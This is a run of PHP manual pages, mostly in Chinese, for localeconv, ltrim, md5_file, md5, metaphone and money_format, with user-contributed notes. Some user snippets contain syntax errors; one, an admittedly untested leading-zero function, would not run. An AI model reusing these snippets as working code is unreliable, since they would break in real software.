The grouping fields contain arrays that define the way numbers should be grouped. For example, the monetary grouping field for the nl_NL locale (in UTF-8 mode with the euro sign), would contain a 2 item array with the values 3 and 3. The higher the index in the array, the farther left the grouping is. If an array element is equal to CHAR_MAX, no further grouping is done. If an array element is equal to 0, the previous element should be used.

范例

Example #1 localeconv() example

<?php
if (false !== setlocale(LC_ALL, 'nl_NL.UTF-8@euro')) {
    $locale_info = localeconv();
    print_r($locale_info);
}
?>

以上例程会输出：

Array
(
    [decimal_point] => .
    [thousands_sep] =>
    [int_curr_symbol] => EUR
    [currency_symbol] => �
    [mon_decimal_point] => ,
    [mon_thousands_sep] =>
    [positive_sign] =>
    [negative_sign] => -
    [int_frac_digits] => 2
    [frac_digits] => 2
    [p_cs_precedes] => 1
    [p_sep_by_space] => 1
    [n_cs_precedes] => 1
    [n_sep_by_space] => 1
    [p_sign_posn] => 1
    [n_sign_posn] => 2
    [grouping] => Array
        (
        )

    [mon_grouping] => Array
        (
            [0] => 3
            [1] => 3
        )

)

参见

  • setlocale() - 设置地区信息

User Contributed Notes

verdy_p at wanadoo dot fr 22-Jul-2001 07:13
The C99 standard modified slightly the definition of the international currency symbol, which is now 4 characters long instead of 3 in previous definitions. The fourth character will most often be an ASCII space, but its effective value is the locale-specific spacing character used for numeric grouping (i.e. the one refered by [sep_by_space] and [grouping])...


删除字符串开头的空白字符（或其他字符）

  • ? localeconv
  • md5_file ?
  • PHP Manual
  • 字符串 函数
  • 删除字符串开头的空白字符（或其他字符）

ltrim

(PHP 4, PHP 5, PHP 7)

ltrim — 删除字符串开头的空白字符（或其他字符）

说明

ltrim ( string $str [, string $character_mask ] ) : string

删除字符串开头的空白字符（或其他字符）

参数

str

输入的字符串。

character_mask

通过参数 character_mask，你也可以指定想要删除的字符，简单地列出你想要删除的所有字符即可。使用..，可以指定字符的范围。

返回值

该函数返回一个删除了 str 最左边的空白字符的字符串。 如果不使用第二个参数， ltrim() 仅删除以下字符：

  • " " (ASCII 32 (0x20))，普通空白字符。
  • "\t" (ASCII 9 (0x09))， 制表符.
  • "\n" (ASCII 10 (0x0A))，换行符。
  • "\r" (ASCII 13 (0x0D))，回车符。
  • "\0" (ASCII 0 (0x00))， NUL空字节符。
  • "\x0B" (ASCII 11 (0x0B))，垂直制表符。

范例

Example #1 ltrim()的使用范例

<?php

$text = "\t\tThese are a few words :) ...  ";
$binary = "\x09Example string\x0A";
$hello  = "Hello World";
var_dump($text, $binary, $hello);

print "\n";

$trimmed = ltrim($text);
var_dump($trimmed);

$trimmed = ltrim($text, " \t.");
var_dump($trimmed);

$trimmed = ltrim($hello, "Hdle");
var_dump($trimmed);

// 删除 $binary 开头的 ASCII 控制字符
// (从 0 到 31，包括 0 和 31)
$clean = ltrim($binary, "\x00..\x1F");
var_dump($clean);

?>

以上例程会输出：

string(32) "        These are a few words :) ...  "
string(16) "    Example string
"
string(11) "Hello World"

string(30) "These are a few words :) ...  "
string(30) "These are a few words :) ...  "
string(7) "o World"
string(15) "Example string
"

参见

  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • rtrim() - 删除字符串末端的空白字符（或者其他字符）

User Contributed Notes

Mauro 30-Nov-2017 01:36
I noticed one thing.

Suppose you have to ltrim zeroes from strings like "015", "002", etc. and convert them back to numbers, eg. using intval.

Suppose you must convert to number "000" too.

In this case:

$trimmedString = ltrim('000', '0');

the value of $trimmedString would be NULL (and I think the docs should mention this).

Anyway, I initially thought I had to conditional check for this '000', but I found that intval(NULL) returns 0 (this thing is not in the docs of intval but is in a comment)
tavi undersc 10 from yahoocom 29-Oct-2015 10:11
When using a $character_mask the trimming stops at the first character that is not on that mask.

So in the $string = "Hello world" example with $character_mask = "Hdle", ltrim($hello, $character_mask) goes like this:
1. Check H from "Hello world" => it is in the $character_mask, so remove it
2. Check e from "ello world" => it is in the $character_mask, so remove it
3. Check l from "llo world" => it is in the $character_mask, so remove it
4. Check l from "lo world" => it is in the $character_mask, so remove it
5. Check o from "o world" => it is NOT in the $character_mask, exit the function

Remaining string is "o world".

I hope it helps someone as I had a confusing moment with this function.
mroeling at exed dot nl 08-Apr-2014 10:33
@scion4581

The problem is that the character mask (_stw in your case) isn't a literal string, but a character collection. So all characters within _stw are stripped. In your case this includes the w of weight also.
scion4581 at mail dot ru 11-Mar-2014 09:37
What i found and i can't get why:

$word = 'stw_weight';
echo ltrim($word, 'stw_');

output:  eight instead weight

If anybody know plz let me know
juan at ecogomera dot com 10-Dec-2013 09:55
+=0 not valid for something like 0000-5. Result is 0
dzek dot remove_this at dzek dot eu 25-Jul-2011 01:27
Guys, if += 0 is producing wrong values sometimes, and preg_replace is cpu consuming, then just stick to the main function described on that page, and use:
<?php
$value = ltrim($value, '0');
?>
should be the fastest and most reliable.
I think all those comments can be misleading for begginers checking this page - it's sort of using magic tricks to reinvent the wheel.
Mike 08-Jan-2011 12:03
Keep in mind the amount of resources preg_replace() uses.
I would suggest a simple if statement if you need to parse through large amounts of data.
<?php
function remove_leading_zeros_from_number($number_string) {
  $limit = 9000.1
  $temp = $number
  (float) $temp;
  if ($number < $limit) {
    $number += 0;
  } else {
    preg_replace('~^[0]*([1-9][0-9]*)$~','$1',$number_string)
  }
}
?>

Code is untested, but probably sound.
Usamah M dot Ali (usamah1228 at gmail dot com) 04-Feb-2008 02:42
For those who use right-to-left languages such as Arabic, Hebrew, etc., it's worth mentioning that ltrim() (which stands for left trim) & rtrim() (which stands for right trim) DO NOT work contextually. The nomenclature is rather semantically incorrect. So in an RTL script, ltrim() will trim text from the right direction (i.e. beginning of RTL strings), and rtrim() will trim text from the left direction (i.e. end of RTL strings).
John Sherwood 06-Aug-2006 12:13
To remove leading/trailing zeroes (example: "0123.4560"), doing a += 0 is easier than trim tricks.


计算指定文件的 MD5 散列值

  • ? ltrim
  • md5 ?
  • PHP Manual
  • 字符串 函数
  • 计算指定文件的 MD5 散列值

md5_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

md5_file — 计算指定文件的 MD5 散列值

说明

md5_file ( string $filename [, bool $raw_output = FALSE ] ) : string

使用 » RSA 数据安全公司的 MD5 报文算法计算 filename 文件的 MD5 散列值并返回。该散列值为 32 字符的十六进制数字。

参数

filename

文件名

raw_output

如果被设置为 TRUE，那么报文摘要将以原始的 16 位二进制格式返回。

返回值

成功返回字符串，否则返回 FALSE。

更新日志

版本 | 说明
5.1.0 | 函数改用流 API。这意味着能够配合封装器使用该函数，比如 md5_file('http://example.com/..')。

范例

Example #1 md5_file() 使用范例

<?php
$file = 'php-5.3.0alpha2-Win32-VC9-x64.zip';

echo 'MD5 file hash of ' . $file . ': ' . md5_file($file);
?>

参见

  • md5() - 计算字符串的 MD5 散列值
  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式

User Contributed Notes

lukasamd at gmail dot com 14-Feb-2012 10:35
It's faster to use md5sum than openssl md5:

<?php
$begin = microtime(true);

$file_path = '../backup_file1.tar.gz';
$result = explode("  ", exec("md5sum $file_path"));
echo "Hash = ".$result[0]."<br />";

# Here 7 other big files (20-300 MB)

$end = microtime(true) - $begin;
echo "Time = $end";
# Time = 4.4475841522217

#Method with openssl
# Time = 12.1463856900543
?>

About 3x faster
Chris 08-Nov-2009 07:24
If you just need to find out if two files are identical, comparing file hashes can be inefficient, especially on large files.  There's no reason to read two whole files and do all the math if the second byte of each file is different.  If you don't need to store the hash value for later use, there may not be a need to calculate the hash value just to compare files.  This can be much faster:

<?php
define('READ_LEN', 4096);

if(files_identical('file1.txt', 'file2.txt'))
    echo 'files identical';
else
    echo 'files not identical';

//   pass two file names
//   returns TRUE if files are the same, FALSE otherwise
function files_identical($fn1, $fn2) {
    if(filetype($fn1) !== filetype($fn2))
        return FALSE;

    if(filesize($fn1) !== filesize($fn2))
        return FALSE;

    if(!$fp1 = fopen($fn1, 'rb'))
        return FALSE;

    if(!$fp2 = fopen($fn2, 'rb')) {
        fclose($fp1);
        return FALSE;
    }

    $same = TRUE;
    while (!feof($fp1) and !feof($fp2))
        if(fread($fp1, READ_LEN) !== fread($fp2, READ_LEN)) {
            $same = FALSE;
            break;
        }

    if(feof($fp1) !== feof($fp2))
        $same = FALSE;

    fclose($fp1);
    fclose($fp2);

    return $same;
}
?>
smartin 12-Mar-2008 04:58
In response to using exec instead for performance (Nov 13 2007 post), It looks like the performance depends on the size of the file.  See the results below using the same script from the original post.  The first hash is with md5_file and the second is with openssl md5.

With a 1MB file:
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.005006
Hash = df1555ec0c2d7fcad3a03770f9aa238a; time = 0.01498

With a 2MB file:

Hash = 4387904830a4245a8ab767e5937d722c; time = 0.010393
Hash = 4387904830a4245a8ab767e5937d722c; time = 0.016691

With a 10MB file:

Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.241907
Hash = b89f948e98f3a113dc13fdbd3bdb17ef; time = 0.037597

Performance seems to change proportionally with the file size.  Judging from the previous post's default file name (.mov) he/she was probably dealing with a large file.  These are just quick tests and far from a perfect benchmark, but you might want to test your own files before assuming that the openssl solution is faster (ie, if working with small text files vs. movies, etc)
potsed [at] gmail [dot] com 27-May-2007 04:12
Heres a function to give an md5 for an entire directory..

function MD5_DIR($dir)
{
    if (!is_dir($dir))
    {
        return false;
    }

    $filemd5s = array();
    $d = dir($dir);

    while (false !== ($entry = $d->read()))
    {
        if ($entry != '.' && $entry != '..')
        {
             if (is_dir($dir.'/'.$entry))
             {
                 $filemd5s[] = MD5_DIR($dir.'/'.$entry);
             }
             else
             {
                 $filemd5s[] = md5_file($dir.'/'.$entry);
             }
         }
    }
    $d->close();
    return md5(implode('', $filemd5s));
}
richard at interlink dot com dot au 16-Nov-2004 12:57
For those of you with PHP 4 that want to output the "raw" 128 bit hash, all you need to do is send it to pack to convert the hex string into the raw output.

ie:
$filename="checkthisfile.bin";
$rawhash=pack("H*",md5_file($filename));


计算字符串的 MD5 散列值

  • ? md5_file
  • metaphone ?
  • PHP Manual
  • 字符串 函数
  • 计算字符串的 MD5 散列值

md5

(PHP 4, PHP 5, PHP 7)

md5 — 计算字符串的 MD5 散列值

Warning

It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See the Password Hashing FAQ for details and best practices.

说明

md5 ( string $str [, bool $raw_output = FALSE ] ) : string

使用 » RSA 数据安全公司的 MD5 报文算法计算 str 的 MD5 散列值。

参数

str

原始字符串。

raw_output

如果可选的 raw_output 被设置为 TRUE，那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

返回值

以 32 字符十六进制数字形式返回散列值。

范例

Example #1 md5() 范例

<?php
$str = 'apple';

if (md5($str) === '1f3870be274f6c49b3e31a0c6728957f') {
    echo "Would you like a green or red apple?";
}
?>

参见

  • md5_file() - 计算指定文件的 MD5 散列值
  • sha1_file() - 计算文件的 sha1 散列值
  • crc32() - 计算一个字符串的 crc32 多项式
  • sha1() - 计算字符串的 sha1 散列值
  • hash() - 生成哈希值 （消息摘要）
  • crypt() - 单向字符串散列
  • password_hash() - 创建密码的散列（hash）

User Contributed Notes

Ken Guest 14-May-2019 03:30
Use the strict comparision/identity operator:

php > var_dump(md5('240610708') == md5('QNKCDZO'));
php shell code:1:
bool(true)
php > var_dump(md5('240610708') === md5('QNKCDZO'));
php shell code:1:
bool(false)
php >

because, as mentioned previously, using the equality operator may result in false positives.
Ray.Paseur sometimes uses Gmail 01-Dec-2018 05:10
md5('240610708') == md5('QNKCDZO')

This comparison is true because both md5() hashes start '0e' so PHP type juggling understands these strings to be scientific notation.  By definition, zero raised to any power is zero.
hkmaly 27-Nov-2017 10:11
Note: Before you get some idea like using md5 with password as way to prevent others tampering with message, read pages "Length extension attack" and "Hash-based message authentication code" on wikipedia. In short, naive constructions can be dangerously insecure. Use hash_hmac if available or reimplement HMAC properly without shortcuts.
radon8472 at radon-software dot net 18-Apr-2016 02:10
<?php
    function raw2hex($rawBinaryChars)
    {
      return = array_pop(unpack('H*', $rawBinaryChars));
    }
?>

The complement of hey2raw.
You can use to convert from raw md5-format to human-readable format.

This can be usefull to check "Content-Md5" HTTP-Header.

<?php
  $rawMd5    = base64_decode($_SERVER['HTTP_CONTENT_MD5']);
  $post_data = file_get_contents("php://input");

  if(raw2hex($rawMd5) == md5($post_data)) // Post-Data is okay
  else                                    // Post-Data is currupted
?>
John 17-Nov-2009 03:08
If you want to hash a large amount of data you can use the hash_init/hash_update/hash_final functions.

This allows you to hash chunks/parts/incremental or whatever you like to call it.
dionyziz at deviantart dot com 11-Aug-2007 12:24
Sometimes it's useful to get the actual, binary, md5 digest.
You can use this function for it:

<?php

function md5bin( $target ) {
    $md5 = md5( $target );
    $ret = '';

    for ( $i = 0; $i < 32; $i += 2 ) {
        $ret .= chr( hexdec( $md5{ $i + 1 } ) + hexdec( $md5{ $i } ) * 16 );
    }

    return $ret;
}

?>
terry _at_ scribendi_com 28-Apr-2005 07:39
Do not use the hex strings returned by md5() as a key for MCrypt 256-bit encryption.  Hex characters only represent four bits each, so when you take 32 hex characters, you are only really using a 128-bit key, not a 256-bit one.

Using an alphanumeric key generator [A-Za-z0-9] will also only provide a 192-bit key in 32 characters.

Two different MD5s concatenated in raw binary form, or mcrypt_create_iv(32,MCRYPT_DEV_RANDOM) will give you a true 256-bit key string.
Shane Allen 14-Apr-2003 08:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd


Calculate the metaphone key of a string

  • ? md5
  • money_format ?
  • PHP Manual
  • 字符串 函数
  • Calculate the metaphone key of a string

metaphone

(PHP 4, PHP 5, PHP 7)

metaphone — Calculate the metaphone key of a string

说明

metaphone ( string $str [, int $phonemes = 0 ] ) : string

Calculates the metaphone key of str.

Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length.

Metaphone was developed by Lawrence Philips <lphilips at verity dot com>. It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

参数

str

The input string.

phonemes

This parameter restricts the returned metaphone key to phonemes characters in length. The default value of 0 means no restriction.

返回值

Returns the metaphone key as a string, 或者在失败时返回 FALSE.

范例

Example #1 metaphone() basic example

<?php
var_dump(metaphone('programming'));
var_dump(metaphone('programmer'));
?>

以上例程的输出类似于：

string(7) "PRKRMNK"
string(6) "PRKRMR"

Example #2 Using the phonemes parameter

<?php
var_dump(metaphone('programming', 5));
var_dump(metaphone('programmer', 5));
?>

以上例程的输出类似于：

string(5) "PRKRM"
string(5) "PRKRM"

User Contributed Notes

isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
isloera at usedformyjunk dot com 27-Sep-2014 06:46
I changed my domain so the code for spanish_methaphone  is here

http://www.ojocaliente.net/spanish_metaphone.php

Please update the link ;-)
Ray.Paseur often uses Gmail 14-Jun-2013 01:03
Metaphone() apparently ignores non-English characters.  Comparing Pla?e TO Place yields "PL" and "PLS."  A similar result comes from soundex().
Vipindas K.S 09-May-2008 09:49
metaphone
=======================
The metaphone() function can be used for spelling applications.This function returns the metaphone key of the string on success, or FALSE on failure.Its main use is when you are searching a genealogy database. check to see if a metaphone search is offered. It is also useful in making/searching family tree.
Given below is a simple code that calculates and compares two strings to find whether its metaphone codes are equivalent.

html code
==========
<html>
<body>
<form action="test.php" name="test" method="get">
Name1:<input type="text" name="name1" /><br />
Name2:<input type="text" name="name2" /><br />
<input type="submit" name="submit" value="compare" />
</form>

<!--php code begins here -->

<?php
if(isset($_GET['submit']))
{
$str1 = $_GET['name1'];
$str2 = $_GET['name2'];
$meta_one=metaphone($str1);
$meta_two=metaphone($str2);
echo "metaphone code for ".$str1." is ". $meta_one;
echo "<br />";
echo "metaphone code for ".$str2." is ". $meta_two."<br>";
if($meta_one==$meta_two)
{
echo "metaphone codes are matching";
}
else
{
echo "metaphone codes are not matching";
}
}
?>

</body>
</html>

Metaphone  algorithm was developed by Lawrence Philips.

Lawrence Philips' RULES follow:

 The 16 consonant sounds:
                                             |--- ZERO represents "th"
                                             |
      B  X  S  K  J  T  F  H  L  M  N  P  R  0  W  Y

 Exceptions:

   Beginning of word: "ae-", "gn", "kn-", "pn-", "wr-"  ----> drop first letter
                      "Aebersold", "Gnagy", "Knuth", "Pniewski", "Wright"

   Beginning of word: "x"                                ----> change to "s"
                                      as in "Deng Xiaopeng"

   Beginning of word: "wh-"                              ----> change to "w"
                                      as in "Whalen"

 Transformations:

   B ----> B      unless at the end of word after "m", as in "dumb", "McComb"

   C ----> X      (sh) if "-cia-" or "-ch-"
           S      if "-ci-", "-ce-", or "-cy-"
                  SILENT if "-sci-", "-sce-", or "-scy-"
           K      otherwise, including in "-sch-"

   D ----> J      if in "-dge-", "-dgy-", or "-dgi-"
           T      otherwise

   F ----> F

   G ---->        SILENT if in "-gh-" and not at end or before a vowel
                            in "-gn" or "-gned"
                            in "-dge-" etc., as in above rule
           J      if before "i", or "e", or "y" if not double "gg"
           K      otherwise

   H ---->        SILENT if after vowel and no vowel follows
                         or after "-ch-", "-sh-", "-ph-", "-th-", "-gh-"
           H      otherwise

   J ----> J

   K ---->        SILENT if after "c"
           K      otherwise

   L ----> L

   M ----> M

   N ----> N

   P ----> F      if before "h"
           P      otherwise

   Q ----> K

   R ----> R

   S ----> X      (sh) if before "h" or in "-sio-" or "-sia-"
           S      otherwise

   T ----> X      (sh) if "-tia-" or "-tio-"
           0      (th) if before "h"
                  silent if in "-tch-"
           T      otherwise

   V ----> F

   W ---->        SILENT if not followed by a vowel
           W      if followed by a vowel

   X ----> KS

   Y ---->        SILENT if not followed by a vowel
           Y      if followed by a vowel

   Z ----> S
php at casadebender dot com 27-Mar-2008 10:24
A double metaphone pecl module is available: http://pecl.php.net/package/doublemetaphone
mail at spam-off dot iaindooley dot com 16-Jan-2004 12:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.


将数字格式化成货币字符串

  • ? metaphone
  • nl_langinfo ?
  • PHP Manual
  • 字符串 函数
  • 将数字格式化成货币字符串

money_format

(PHP 4 >= 4.3.0, PHP 5, PHP 7)

money_format — 将数字格式化成货币字符串

说明

money_format ( string $format , float $number ) : string

money_format() 返回格式化好的 number 版本。 此函数包装了 C 函数库中的 strfmon()，不同之处是：此实现每次只能转化一个数字。

参数

format

格式字符串由以下几部分组成：

  • 单个 % 字符

  • 可选的标记（flags）

  • 可选的字段宽度

  • 可选的，左侧精度

  • 可选的，右侧精度

  • 必选的，单个转化字符

标记(Flags)

可选多个标记，分别是：

=f

字符：=，并紧跟一个字符（单字节） f，用于数字填充。默认的填充字符是空格。

^

禁用分组字符（比如金额中的逗号。在本地区域设置 locale 中定义）。

+ or (

正负数字的格式。使用 +，将使用区域设置（locale）中相当于 + 和 - 的符号。 如果使用 (，负数将被圆括号围绕。不设置的话，默认为 +。

!

不输出货币符号（比如 ￥）。

-

有这个符号的时候，将使字段左对齐（填充到右边），默认是相反的，是右对齐的（填充到左边）。

字段宽度

w

十进制数值字符串的宽度。字段将右对齐，除非使用了 - 标记。默认值 0。

左侧精度

#n

小数字符（比如小数点）前的最大位数 (n)。 常用于同一列中的格式对齐。 如果位数小于 n 则使用填充字符填满。 如果实际位数大于 n，此设置将被忽略。

如果没用 ^ 标识禁用分组，分组分隔符会在添加填充字符之前插入（如果有的话）。 分组分隔符不会应用到填充字符里，哪怕填充字符是个数字。

为了保证对齐，出现在之前或者之后的字符，都会填充必要的空格，保证正负情况下长度都一样。

右侧精度

.p

小数点后的一段数字 (p)。 如果 p 的值是 0（零），小数点右侧的数值将被删除。 如果不使用这个标记，默认展现取决于当前的区域设置。 小数点后指定位数的数字，四舍五入格式化。

转化字符

i

根据国际化区域设置中的货币格式，格式化数值。（比如，locale 是 USA：USD 1,234.56）。

n

根据国际化区域设置中国家的货币格式，格式化数值。（比如，locale 是 de_DE：EU1.234,56）。

%

返回字符 %。

number

需要格式化的数字。

返回值

返回格式化后的字符。格式字符串前后的字符将原封不动返回。 传入的 number 如果不是数字，将返回 NULL 并且产生 E_WARNING。

注释

Note:

具有 strfmon 的系统才有 money_format() 函数。 例如 Windows 不具备，所以 Windows 系统上 money_format() 未定义。

Note:

locale 设置中， LC_MONETARY 会影响此函数的行为。 在使用函数前，首先要用 setlocale() 来设置合适的区域设置（locale）。

范例

Example #1 money_format() 例子

使用不同的 locale 和格式字符串，来说明此函数的用法。

<?php

$number = 1234.56;

// 让我们打印 en_US locale 的国际化格式
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// 意大利国家的格式，带两位浮点小数`
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// Eu 1.234,56

// 负数的使用
$number = -1234.5672;

// 美国国家的格式，使用圆括号 () 标记负数。
// 左侧精度使用十位
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($        1,234.57)

// 相似的格式，添加了右侧两位小数点的精度，同时用 * 来填充
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// 让我们左对齐，14位宽，左侧八位，右侧两位，不带分组字符
// de_DE 的国际化格式
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// Eu 1234,56****

// 让我们在格式字符串前后，添加一些简介
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is  GBP 1,234.56 (after a 10% discount)

?>

参见

  • setlocale() - 设置地区信息
  • sscanf() - 根据指定格式解析输入的字符
  • sprintf() - Return a formatted string
  • printf() - 输出格式化字符串
  • number_format() - 以千位分隔符方式格式化一个数字

User Contributed Notes

justsomeone 04-Jul-2017 11:49
Using the money_format function with float values which have more than two decimal digits can result in rounding errors.
Maybe this function will help you to avoid these failures:

<?php
// A product with a base price of 12.95
$price = 1295;

// The quantity is also an integer but translated it would be 11.91
$quantity = 1191;

// Result: 154.2345
// It's the same like 12.95 * 11.91
$sum = ($price / 100) * ($quantity  /100);

// Wrong result: 154.23
money_format('%!i', $sum);

// Wrong result: 154.23
number_format($sum, 2);

// Wrong result: 154.23
bcmul($price / 100, $quantity / 100, 2);

// Correct result : 154.24
money_format_rounded('%!i', $sum);

/**
 * Formats a number as a currency string. Rounds every decimal digit to a defined precision on its own.
 *
 * @param string $format The format for the money_format function
 * @param float|int|string $number The number to be formatted
 * @param int $maxPrecision Round up to the $maxPrecision number of decimal digit. Default is: 2
 * @param int $roundingType Rounding type for the round function. Default is: \PHP_ROUND_HALF_UP
 *
 * @return string
 */
function money_format_rounded($format, $number, $maxPrecision = 2, $roundingType = \PHP_ROUND_HALF_UP)
{
    $strlen = strlen($number);
    if ($strlen === 0) {
        return money_format($format, $number);
    }

    $length = $strlen - strrpos($number, '.') - 1;
    if ($length <= 0) {
        return money_format($format, $number);
    }

    $rounded = $number;
    for ($i = --$length; $i >= $maxPrecision; $i--) {
        $rounded = round($rounded, $i, $roundingType);
    }

    return money_format($format, $rounded);
}
jonah at jonah dot name 18-Jan-2017 11:08
Be careful when using money_format with rounding.  It uses floating-point numbers to round, so the precision is not perfect.  Specifically, rounding over 63.5 may be incorrectly rounded down.  See the bug report here:

https://bugs.php.net/bug.php?id=61787

Bearing this in mind, I'd recommend using http://php.net/round on your number first.

$number = 64.005;
echo money_format('%.2n', $number); // $65.00 (incorrect behavior for PHP_ROUND_HALF_UP)

$number2 = round($number, 2);
echo money_format('%.2n', $number2); // $65.01 (correct)
Felix Duterloo 30-Jun-2016 12:43
Improvement to Rafael M. Salvioni's solution for money_format on Windows: when no currency symbol is selected, in the formatting, the minus sign was also lost when the locale puts it in position 3 or 4. Changed $currency = '';  to: $currency = $cprefix .$csuffix;

function money_format($format, $number) {
        $regex = '/%((?:[\^!\-]|\+|\(|\=.)*)([0-9]+)?' .
                '(?:#([0-9]+))?(?:\.([0-9]+))?([in%])/';
        if (setlocale(LC_MONETARY, 0) == 'C') {
            setlocale(LC_MONETARY, '');
        }
        $locale = localeconv();
        preg_match_all($regex, $format, $matches, PREG_SET_ORDER);
        foreach ($matches as $fmatch) {
            $value = floatval($number);
            $flags = array(
                'fillchar' => preg_match('/\=(.)/', $fmatch[1], $match) ?
                        $match[1] : ' ',
                'nogroup' => preg_match('/\^/', $fmatch[1]) > 0,
                'usesignal' => preg_match('/\+|\(/', $fmatch[1], $match) ?
                        $match[0] : '+',
                'nosimbol' => preg_match('/\!/', $fmatch[1]) > 0,
                'isleft' => preg_match('/\-/', $fmatch[1]) > 0
            );
            $width = trim($fmatch[2]) ? (int) $fmatch[2] : 0;
            $left = trim($fmatch[3]) ? (int) $fmatch[3] : 0;
            $right = trim($fmatch[4]) ? (int) $fmatch[4] : $locale['int_frac_digits'];
            $conversion = $fmatch[5];

            $positive = true;
            if ($value < 0) {
                $positive = false;
                $value *= -1;
            }
            $letter = $positive ? 'p' : 'n';

            $prefix = $suffix = $cprefix = $csuffix = $signal = '';

            $signal = $positive ? $locale['positive_sign'] : $locale['negative_sign'];
            switch (true) {
                case $locale["{$letter}_sign_posn"] == 1 && $flags['usesignal'] == '+':
                    $prefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 2 && $flags['usesignal'] == '+':
                    $suffix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 3 && $flags['usesignal'] == '+':
                    $cprefix = $signal;
                    break;
                case $locale["{$letter}_sign_posn"] == 4 && $flags['usesignal'] == '+':
                    $csuffix = $signal;
                    break;
                case $flags['usesignal'] == '(':
                case $locale["{$letter}_sign_posn"] == 0:
                    $prefix = '(';
                    $suffix = ')';
                    break;
            }
            if (!$flags['nosimbol']) {
                $currency = $cprefix .
                        ($conversion == 'i' ? $locale['int_curr_symbol'] : $locale['currency_symbol']) .
                        $csuffix;
            } else {
                $currency = $cprefix .$csuffix;
            }
            $space = $locale["{$letter}_sep_by_space"] ? ' ' : '';

            $value = number_format($value, $right, $locale['mon_decimal_point'], $flags['nogroup'] ? '' : $locale['mon_thousands_sep']);
            $value = @explode($locale['mon_decimal_point'], $value);

            $n = strlen($prefix) + strlen($currency) + strlen($value[0]);
            if ($left > 0 && $left > $n) {
                $value[0] = str_repeat($flags['fillchar'], $left - $n) . $value[0];
            }
            $value = implode($locale['mon_decimal_point'], $value);
            if ($locale["{$letter}_cs_precedes"]) {
                $value = $prefix . $currency . $space . $value . $suffix;
            } else {
                $value = $prefix . $value . $space . $currency . $suffix;
            }
            if ($width > 0) {
                $value = str_pad($value, $width, $flags['fillchar'], $flags['isleft'] ?
                                STR_PAD_RIGHT : STR_PAD_LEFT);
            }

            $format = str_replace($fmatch[0], $value, $format);
        }
        return $format;
    }
tim 19-Feb-2015 10:21
For most of us in the US, we don't want to see a "USD" for our currency symbol, so '%i' doesn't cut it.  Here's what I used that worked to get what most  people expect to see for a number format.

$number = 123.4
setlocale(LC_MONETARY, 'en_US.UTF-8');
money_format('%.2n', $number);

output:
$123.40

That gives me a dollar sign at the beginning, and 2 digits at the end.
kaigillmann at googlemail dot com 12-Jun-2014 07:24
If you get "EUR" instead of the euro symbol, set the locale to utf8 charset like this:

<?php
setlocale(LC_MONETARY, 'de_DE.utf8');
echo money_format('%+n', 1234.56);
?>
todoventas at xarxa-cat dot net 09-Jan-2014 03:27
In Rafael M. Salvioni function localeconv(); returns an invalid array in my Windows XP SP3 running PHP 5.4.13 so to prevent the Warning Message: implode(): Invalid arguments passed i just add the $locale manually. For other languages just fill the array with the correct settings.

<?

       $locale = array(
        'decimal_point'        => '.',
        'thousands_sep'        => '',
        'int_curr_symbol'    => 'EUR',
        'currency_symbol'    => '�',
        'mon_decimal_point'    => ',',
        'mon_thousands_sep'    => '.',
        'positive_sign'        => '',
        'negative_sign'     => '-',
        'int_frac_digits'    => 2,
        'frac_digits'        => 2,
        'p_cs_precedes'        => 0,
        'p_sep_by_space'    => 1,
        'p_sign_posn'        => 1,
        'n_sign_posn'        => 1,
        'grouping'            => array(),
        'mon_grouping'        => array(0 => 3, 1 => 3)

    );
?>
jsb17NO at SPAMcornell dot edu 02-Aug-2013 08:10
To drop zero value decimals, use the following:
<?php
    /*
        Same as php number_format(), but if ends in .0, .00, .000, etc... , drops the decimals altogether
        Returns string type, rounded number - same as php number_format()):
        Examples:
            number_format_drop_zero_decimals(54.378, 2) ==> '54.38'
            number_format_drop_zero_decimals(54.00, 2) ==> '54'
     */
    function number_format_drop_zero_decimals($n, $n_decimals)
    {
        return ((floor($n) == round($n, $n_decimals)) ? number_format($n) : number_format($n, $n_decimals));
    }
?>
Results:
